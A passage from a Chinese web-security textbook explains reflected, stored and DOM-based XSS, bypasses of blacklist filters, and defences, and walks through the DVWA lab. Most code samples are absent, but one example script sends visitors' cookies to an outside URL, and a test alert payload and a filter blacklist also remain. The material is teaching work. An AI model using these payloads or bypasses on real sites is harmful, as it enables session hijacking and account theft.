
4.4 XSS跨站脚本漏洞
跨站脚本(Cross Site Script),简称XSS,这是为了避免与层叠样式表(Cascadiing Style Sheets,CSS)的缩写混淆。本节首先介绍XSS漏洞的原理及利用方式,然后介绍该漏洞防护的基本措施,最后给出借助Web漏洞教学和演练的开源免费工具DVWA,在代码层对XSS漏洞原理及利用进行分析的案例。
4.4.1 漏洞原理及利用
1.漏洞原理
XSS漏洞是指,应用程序没有对接收到的不可信数据经过适当的验证或转义就直接发给客户端浏览器。XSS是脚本代码注入的一种。Web浏览器可以执行HTML页面中嵌入的脚本命令,支持多种脚本语言类型(如JavaScript、VBScript和ActiveX等),其中最主要的是JavaScript。攻击者利用XSS漏洞将恶意脚本代码注入到网页中,当用户浏览该网页时,便会触发执行恶意脚本。
XSS漏洞的主要危害如下。
●非法访问、篡改敏感数据。
●会话劫持。
●控制受害者机器向其他网站发起攻击。如果攻击者利用社交网站上的XSS漏洞,由于社交网站的用户规模巨大,将会有大量的用户成为攻击对象,所造成的影响和破坏力巨大。
目前,XSS漏洞主要分为3类:反射型XSS(Reflected XSS)、存储型XSS(Stored XSS)和基于DOM的XSS(DOM-Based XSS)。
(1)反射型XSS漏洞原理
反射型XSS是XSS中最为普遍的一种类型。如果服务器直接使用客户端提供的数据,而没有对数据进行无害化处理,就会出现此漏洞。这些数据包括URL中的数据、HTTP请求(GET报文)及HTML表单中提交的数据。反射型XSS的特点是,用户单击时触发,而且只执行一次,因此反射型XSS也称为非持久型XSS。
反射型XSS通常是由攻击者诱使用户向有漏洞的Web应用程序提供危险内容,然后危险内容会反射给用户并由浏览器执行。一个典型的反射型XSS攻击过程如图4-20所示,描述如下。
1)攻击者发现某网站有反射型XSS漏洞,然后精心构造包含恶意脚本的URL,通过E-mail等途径发送给受害者,并引诱其单击这个URL。
2)受害者单击该URL,用户浏览器向服务器发送包含恶意脚本的请求。
3)服务器将恶意脚本嵌入到响应(通常为HTML页面)中返回给受害者,此时响应中的恶意脚本对于用户的浏览器而言是动态的可执行脚本(反射的攻击脚本)。
4)受害者浏览器收到响应后,其中的恶意脚本被解析和执行,攻击发生,如将受害者的会话Cookie发送给攻击者指定的地址。
(2)存储型XSS漏洞原理
存储型XSS也称为持久型XSS,它的危害更大。此类XSS不需要用户单击特定的URL就能执行跨站脚本。攻击者事先将恶意脚本代码上传或者存储到存在漏洞的服务器端数据库中,只要用户浏览包含此恶意脚本的网页便会触发,遭受攻击。
一个典型的存储型XSS攻击过程如图4-21所示,描述如下。

图4-20 反射型XSS攻击过程

图4-21 存储型XSS攻击过程
1)攻击者发现某个网站存在存储型XSS漏洞,于是将恶意脚本(存储的攻击脚本)插入到数据库中。
2)用户浏览器发送完全无害的访问请求,试图访问此站点上的信息。
3)服务器端将包含恶意脚本的内容嵌入到响应(通常为HTML页面)中发回给用户。
4)用户浏览器收到响应后,其中的恶意脚本被解析和执行,攻击发生。
存储型XSS漏洞通常在留言板、个人资料等位置出现,并常被用于编写危害性更大的XSS蠕虫。典型的例子就是在交友网站上,如果攻击者在自己的信息中写了一段脚本,如“自我介绍<script>windows.open(http://www.mysite.com?yourcookie=document.cookie)</script>”,而这个网站没有对自我介绍的内容进行正确编码。当其他用户查看这个用户的信息时,这个用户将会得到所有看他自我介绍的用户会话Cookie。如果攻击者的恶意代码可以自我扩散,就会形成蠕虫。
(3)基于DOM的XSS
基于DOM的XSS又称为本地XSS,由于客户端浏览器JavaScript可以访问浏览器的DOM动态地检查和修改页面的内容,当HTML页面采用不安全的方式从document.location、document.URL、document.referrer或其他攻击者可以修改的对象获取数据时,如果数据包含恶意JavaScript脚本,就会触发基于DOM的XSS攻击。基于DOM的XSS攻击与反射型XSS和存储型XSS不同,基于DOM的XSS攻击来源于客户端处理的脚本中,无需服务器端的参与。
一个基于DOM的XSS攻击过程如图4-22所示,描述如下。

图4-22 基于DOM的XSS攻击过程
1)攻击者精心构造含有恶意脚本的URL并诱使用户单击,此时,恶意脚本仅作为URL中的参数传递。
2)客户端浏览器将URL中的恶意脚本作为DOM参数进行解析。
3)浏览器执行恶意脚本,攻击发生。
(4)3种类型的XSS漏洞比较
表4-1对3种类型的XSS进行了比较。
表4-1 XSS漏洞类型比较

2.漏洞利用
实际的XSS漏洞利用方式多种多样,并伴随着各类新技术的产生而不断变化和演进。本节将对XSS漏洞的利用方式进行归纳梳理。
(1)利用<>标记注入
该类型的攻击利用形式为:

漏洞测试时可注入测试向量:

并判断有无弹窗出现。实际利用漏洞进行破坏时,如遇到输入长度限制,可通过引入外部js文件的形式作为替代,举例如下。

此外,如果该攻击向量被嵌入到<title>、<textarea>等HTML标签中时,会导致脚本无法执行,此时需要先将上述标签进行闭合,举例如下。

不过,由于当前一些浏览器或XSS过滤器会对<>或<script>进行过滤和转义,因此这种直接注入的方式往往不会奏效。
(2)利用HTML标签属性值注入
一些HTML标签中的属性支持javascript:[code]形式的伪协议,其中的代码由JavaScript解释器运行,因此可以利用HTML标签的属性值进行XSS注入。举例如下。

需要指出的是,此类方法只适用于支持伪协议的浏览器,因此具有一定的局限性。并且,只有引用文件的属性才能触发XSS,这些属性包括href、lowsrc、bgsound、background、value、action和dyn-src等。
(3)利用CSS注入
CSS样式表也可以作为XSS的载体,并且更具隐蔽性,举例如下。

在IE 5及其后续版本中,还可通过expression执行JavaScript代码,举例如下。

此外,也可以采用外部导入CSS的方式实现XSS攻击,举例如下。

其中,attack.css中的内容如下。

(4)通过事件注入
JavaScript和HTML通过产生事件实现交互,当用户执行某个动作后触发事件,相应函数被调用并返回结果,因此,可以利用事件生成攻击向量,举例如下。

(5)混淆或扰乱过滤规则注入
在前述方法的基础上,为了更好地绕过和欺骗XSS过滤器,可以采用一些混淆和扰乱技术来生成攻击向量。
4.4.2 漏洞防护的基本措施
无论何种XSS漏洞,其产生的根本原因都在于Web应用程序对用户输入的过滤和净化不足。尽管XSS的成因和原理本质上并不复杂,但由于XSS表现方式多样,利用方式灵活多变,因此要想彻底防止XSS并非易事。
从用户的角度讲,应当养成健康的上网习惯,提高自身对陌生URL的辨识度和警惕性;从开发者的角度讲,应当在应用程序的开发过程中采取各种防御手段和保护措施,创建健壮安全的源代码,并采用相关检测方法对所开发的应用程序进行检测,设法消除Web应用程序中的XSS漏洞。
接下来,介绍在编码阶段进行XSS漏洞防护的基本措施。
1.输入验证
从安全开发的角度讲,应当不信任用户的任何输入。因此,在客户端和服务器端均应对用户输入进行验证,包括输入数据类型、数据格式或数据长度是否符合预期。
由于恶意用户可以利用Burp Suite、FireBug等工具拦截修改HTTP/HTTPS请求和响应来绕过客户端验证,因此服务器端输入验证必不可少且至关重要,在服务器端应当设置一个尽可能严密的XSSFilter来过滤和净化用户输入。
●采用白名单对输入数据进行验证。例如在服务器端,如果UserName字段仅允许字母数字字符,且不区分大小写,则使用以下正则表达式:^[ a-zA-Z0-9]*$进行验证。
●使用黑名单对输入数据进行安全检查或过滤。例如在服务器端,针对非法的HTML代码包括单双引号等,应编写函数对其进行检查或过滤。需要检查或过滤的特殊字符至少包含以下字符:'、"、<、>、空格键、TAB键、script、&、#、%、+、$、(、)、xss、expression等。
2.采用开发框架自带的标签输出方式
禁止采用<%=pValue %>不安全的输出方式,应该采用标签形式输出,例如:<s:hidden name="id" value="%{secAppConf.id}" />,采用标签方式输出时,系统默认会自动对数据做HTML转换。
3.对输出数据进行净化
应对输出数据进行过滤和转义,将敏感字符转换为其对应的实体字符来清理HTML特殊字符。例如,将HTML标签最关键的字符<、>、&编码为<、>、&。
4.将Cookie设置为HttpOnly
攻击Web应用大多数是为了获得合法用户的Cookie信息,所以应该减少将大量的数据存储在Cookie中,在任何可能的时候使用HttpOnly Cookie。HttpOnly Cookie是某些浏览器所支持的一种防御机制,应用程序能使用它来防止XSS攻击。当一个Cookie以这种方式标记时,支持它的浏览器将阻止客户端JavaScript直接访问Cookie。虽然浏览器仍然会在请求的HTTP消息头中提交这个Cookie,但它不会出现在document.cookie返回的字符串中。
5.谨慎使用DOM操作
基于DOM的XSS是利用DOM操作实现的针对客户端的XSS注入,由于被处理的数据不在服务器控制范围内,因此不能通过在服务器端部署防御策略来解决,这就要求开发人员要谨慎、合理地使用DOM操作,尽可能避免使用DOM进行客户端重定向、文档操作或调用本地数据等敏感操作,转而将这些行为放到服务器端使用动态页面的方式来实现。
OWASP发布的DOM based XSS Prevention Cheat Sheet给出了防止基于DOM的XSS的建议,以提供给Web应用开发者参考。可访问https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet了解更多细节。
6.使用检测工具
还可以使用XSS漏洞自动化检测工具进行检测,如XSSDetect等。相关静态检测和动态检测,以及机器学习等检测方法将在后续章节中进行介绍。
【案例4-2】XSS漏洞源代码层分析
XSS的攻击目标主要是盗取客户端的Cookie,或者其他网站用于识别客户端身份的敏感信息。获取到合法用户的信息后,攻击者可以假冒终端用户与网站进行交互。
借助Web漏洞教学和演练的开源免费工具DVWA,学习并了解XSS漏洞的原理及利用。
【案例4-2思考与分析】
1.反射型XSS漏洞利用分析
(1)low安全级别
在文本框中随意输入一个用户名hello,提交之后就会在页面上显示,如图4-23所示。
从URL中可以看出,用户名是通过name参数以GET方式提交的。

继续尝试往里面输入XSS攻击命令,举例如下。

提交后,弹出的对话框如图4-24所示。

图4-23 注入结果1

图4-24 注入结果2
URL如下。

通过按〈F12〉键开发者工具查看网页源代码,可以发现服务器返回的结果如下。

可以看到所输入的脚本被嵌入到了网页中,此处存在XSS漏洞。
因此,可以通过植入恶意脚本获取到本地的数据,例如输入下列代码。

提交后,弹出的对话框如图4-25所示,返回了Cookie值。
攻击者就可以直接使用这个Cookie伪造登录了。

图4-25 注入结果3
查看低安全级别时的服务器端代码。

可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。
(2)medium安全级别
中等安全级别的服务器端源代码如下。

可以看到,这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的<script>删除。不过,这种防护机制是可以被轻松绕过的。
例如,使用大小写混淆就可以绕过,如以下语句仍可以弹出如图4-24所示的对话框。

还可以使用双写规避过滤,如以下语句也可弹出对话框。

(3)high安全级别
高安全级别的服务器端源代码如下。

可以看到,high级别的代码同样使用黑名单过滤输入,preg_replace()函数用于正则表达式的搜索和替换,这使得双写绕过和大小写混淆绕过(正则表达式中的i表示不区分大小写)不再有效。
虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等HTML语言中标签的事件或者iframe等标签的src注入恶意的js代码。
例如输入以下代码。

仍可成功实现弹出对话框。
(4)impossible安全级别
最高安全级别的服务器端源代码如下。


可以看到,impossible级别的代码使用htmlspecialchars函数把预定义的字符&、"、'、<、>转换为HTML实体,防止浏览器将其作为HTML元素。
2.存储型XSS漏洞利用分析
(1)low安全级别
低安全级别的服务器端源代码如下。

以上代码中提供了$message和$name两个变量,分别用于接收用户在Message和Name文本框中所提交的数据。对这两个变量通过以下三个函数进行了过滤。
●trim(string,charlist)函数:移除字符串两侧的空白字符或其他预定义字符,预定义字符包括:\t、\n、\x0B、\r及空格,可选参数charlist支持添加额外需要删除的字符。
●stripslashes(string)函数:删除字符串中的反斜杠。
●mysql_real_escape_string(string,connection)函数:对字符串中的特殊符号(\x00、\n、\r、\、"、'、\x1a)进行转义。
尽管如此,这些函数只能阻止SQL注入漏洞。这段代码并没有做XSS方面的过滤与检查,因此这里存在明显的存储型XSS漏洞。
下面,在Message文本框中输入:<script>alert("helllo")</script>,成功弹出对话框。
Name文本框中有字数限制,仍可以通过BurpSuite抓包修改参数后提交,也能成功弹出对话框。
当然,弹出对话框并不是目的,XSS的主要用途之一是盗取Cookie,也就是将用户的Cookie自动发送给攻击者。
(2)medium安全级别
中安全级别的服务器端源代码如下。

以上代码中增加了以下两个函数。
●strip_tags()函数:剥去字符串中的HTML、XML及PHP的标签,但允许使用<b>标签。
●addslashes()函数:返回在预定义字符(单引号、双引号、反斜杠或NULL)之前添加反斜杠的字符串。
可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码。但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型XSS漏洞。
可以使用大小写混淆绕过。具体做法是,通过BurpSuite抓包修改name参数为:

仍能成功弹出对话框。
还可以采用双写绕过。具体做法是,通过BurpSuite抓包修改name参数为:

(3)high安全级别
高安全级别的服务器端源代码如下。


可以看到,虽然使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其他危险的标签,因此name参数依旧存在存储型XSS漏洞。
可以通过BurpSuite抓包修改name参数为:

成功实现弹出对话框。
(4)impossible安全级别
最高安全级别的服务器端源代码如下。


可以看到,这段代码通过使用htmlspecialchars函数解决了XSS漏洞。但需要注意的是,如果htmlspecialchars函数使用不当,攻击者仍可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS漏洞。